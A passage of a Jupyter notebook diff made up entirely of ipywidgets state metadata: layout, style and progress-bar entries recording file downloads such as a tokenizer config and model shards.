"0f79fff269c349648fb6e15bf127a7c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_55e9c8210ea743939cdcdf6b873e00a1", + "placeholder": "​", + "style": "IPY_MODEL_7e4e6d45329a415cba65daa185369ad6", + "value": " 13/13 [00:48<00:00, 4.98s/it]" + } + }, + "12300224bc654d47b7dd02e04835203a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dafd2b93bc6245a88e6631f306fc1e9b", + "IPY_MODEL_59514b4f9b8f4930a1b07aad4ab19d25", + "IPY_MODEL_c25bc0fc44214d9f8a5f4abba43eaf09" + ], + "layout": "IPY_MODEL_f76d97ab2a6e46d5891af7fc0c3f511b" + } + }, + "12694ca9da6c43eaa5640a47cea2d10b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1431d8d8d9b04038b4e774fd743b78cd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "147c95feace0447ca58cc4079cb2cbe5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1494c31d3d114a13a3ebbe85df2316ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "14a49cf00e9744dc8f2ac8ec3f19c90c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "14aad595b905426b8d7fc4390bd755d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_25082abec02c47aab0f6c66225815b6b", + "placeholder": "​", + "style": "IPY_MODEL_721121db2dc54b14aec771d3c6cdd0fd", + "value": "Fetching 13 files: 100%" + } + }, + "14fe6c5fa5274bde8d90be608d3a6814": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1529067d721f4287b26e576942b5bc97": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bbbca2e29d6444f7ba4e592068124650", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_42f14a72c44047b695a6b2bfc5184370", + "value": 524619 + } + }, + "16063a5dd86649f2b7f37184c7ac0593": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_fb156e0150e24ec9a367a1e26c4750ec", + "IPY_MODEL_925594a07eba4bdc92e59ef1df5ea63e", + "IPY_MODEL_d5228dfbe50b4d078996b74d1b71ba28" + ], + "layout": "IPY_MODEL_6daa2b5b26e4459aa5bdebd0062cf021" + } + }, + "1707f4e4e7a64dbb8a38f7042836bfb2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dca153f028a14e3e959c9fe29816223f", + "placeholder": "​", + "style": "IPY_MODEL_b0367ea7d4b549bc85b64029a6da3ad7", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "1763740db60f490493e2fe10d35cc58e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e221a677aab740ea888cb7faf343dfbb", + "placeholder": "​", + "style": "IPY_MODEL_12694ca9da6c43eaa5640a47cea2d10b", + "value": " 525k/525k [00:00<00:00, 2.61MB/s]" + } + }, + "1766005fceb14bd5a1910622789cc5ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1855195ecd9a4ba993c2a4e298d21a44": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "18885db0114b49ee8eeb0af098b9a8c9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "188e9e93c80d4cc699990feb5b52eaee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2fb28ad0fe464c7a8b1f3c9354140e51", + "IPY_MODEL_4b63548f0285403e9e4f2431632cc3ae", + "IPY_MODEL_6fea93ee309c49be85992b1a18756101" + ], + "layout": "IPY_MODEL_d220c9f6c0684da98525ddfb0ccdf8f5" + } + }, + "1895d19dcd574f56b7148ca7235fd0b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "19469649ab6b44f8b1d6408ac2646579": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1974a1b14cd74807b872ad12380d0fe3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1b448e7eb7c842c2ad3598e401c5a101": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b25958353ffe4063bf8d09ed149c2550", + "IPY_MODEL_e25496021c9f4046bb83f585601baaf4", + "IPY_MODEL_69484df819aa44b3858b76432cc84beb" + ], + "layout": "IPY_MODEL_f6ecc0d4fe1545d8bd0a16de5960285b" + } + }, + "1b8ccf560cce482caf4d08a3ed02f0fe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1bbd2bbca0c04df982278b7c24c8c320": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1cbc65f4245e4c25a64827f0e2beb08d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1d10557816514c4bb08d957fdde13904": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9dc480c24e9844599de9f1e5e3638f33", + "max": 30, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dffb565d8879412ba6c9989b02cbe661", + "value": 30 + } + }, + "1d631802aab44912a6097e97d2675102": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1da8ad0bdb2547cdb4edc5bc5df7a8ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1fcc4a24bf9b4ec6aec98800a872966f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1fe983e43b7f4bca905a65b07eef5491": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e92d28da4f314f73b4c4cccde114f1f4", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f7728f9c5b0f4f4ca084119f74e9dcaf", + "value": 10 + } + }, + "20d097bf20d541bda6c8b77a0d021c9a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "21e6f865412f4787b04b69da0cafa300": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "224de1d94c8047c49546f4d3a49b86a6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f0aebefd751e48939aae8e3eac7adfde", + "IPY_MODEL_d7335eeea61f49a291bbc9f120c823e7", + "IPY_MODEL_7dafba4f66a245659587c06edbffcf51" + ], + "layout": "IPY_MODEL_6f5b06b458d7482ba9685013cad5bfa7" + } + }, + "247e38c4011445f1adb3a832ddb53e2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "25082abec02c47aab0f6c66225815b6b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "25c92f3c188e4009ba806c6d56cc66c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "27544c3774b54c018270a66ebbd06edb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "282151a48c29477cb45f8d46beb22f5e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2a8a4ed0b2854b558efd5acce8dcf5c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ee1a66e0f3ab4c67beef305317124a0f", + "placeholder": "​", + "style": "IPY_MODEL_b390338978084bd19f7e7e6ce8ea7e44", + "value": " 10/10 [00:02<00:00, 3.91it/s]" + } + }, + "2b7aaec231e244b1899f99e893b053df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4afa3f9ee15546c1979113f0e618efcf", + "placeholder": "​", + "style": "IPY_MODEL_fa37cd2e2ac94455ab624a75eb0a105d", + "value": " 50/50 [00:13<00:00, 3.70it/s]" + } + }, + "2c0421659acb482295485521efb6bb03": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1766005fceb14bd5a1910622789cc5ad", + "placeholder": "​", + "style": "IPY_MODEL_b3ca161774d7404d903afbed855f054f", + "value": " 10/10 [00:02<00:00, 3.78it/s]" + } + }, + "2c4ab41623ca4ce3961c8a105536ecdf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + 